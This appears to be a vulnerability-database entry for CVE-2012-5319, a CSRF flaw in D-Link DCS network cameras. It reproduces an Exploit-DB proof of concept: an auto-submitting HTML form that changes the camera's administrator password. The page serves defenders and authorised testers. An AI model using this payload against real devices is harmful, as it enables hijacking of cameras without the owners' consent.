CVE-2012-5319

medium

Published 2012-10-08 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Cross-site request forgery (CSRF) vulnerability in setup/security.cgi in D-Link DCS-900, DCS-2000, and DCS-5300 allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via the rootpass parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36877 remote hardware verified

Rigan Iimrigan · 2012-02-23

D-Link DCS - 'security.cgi' Cross-Site Request Forgery

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EDB-18509 webapps hardware text · 1 KB

rigan · 2012-02-22

D-Link DCS Series - Cross-Site Request Forgery (Change Admin Password)

text exploit Source: Exploit-DB

Title:   Dlink DCS series CSRF Change Admin Password 
Version: DCS-900, DCS-2000, DCS-5300 and possibly other.
Date:    2012-02-22
Author:  rigan - imrigan [sobachka] gmail.com
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Description:
Dlink DCS is a series of network cameras. These cameras use a web interface which is prone to CSRF vulnerabilities. This flaw allows to change the administrator password. 
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Exploit:
<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="http://your_target/setup/security.cgi">
<input type="hidden" name="rootpass" value="your_pass"/>
<input type="hidden" name="confirm" value="your_pass"/>
</form>
</body>
</html>
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References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.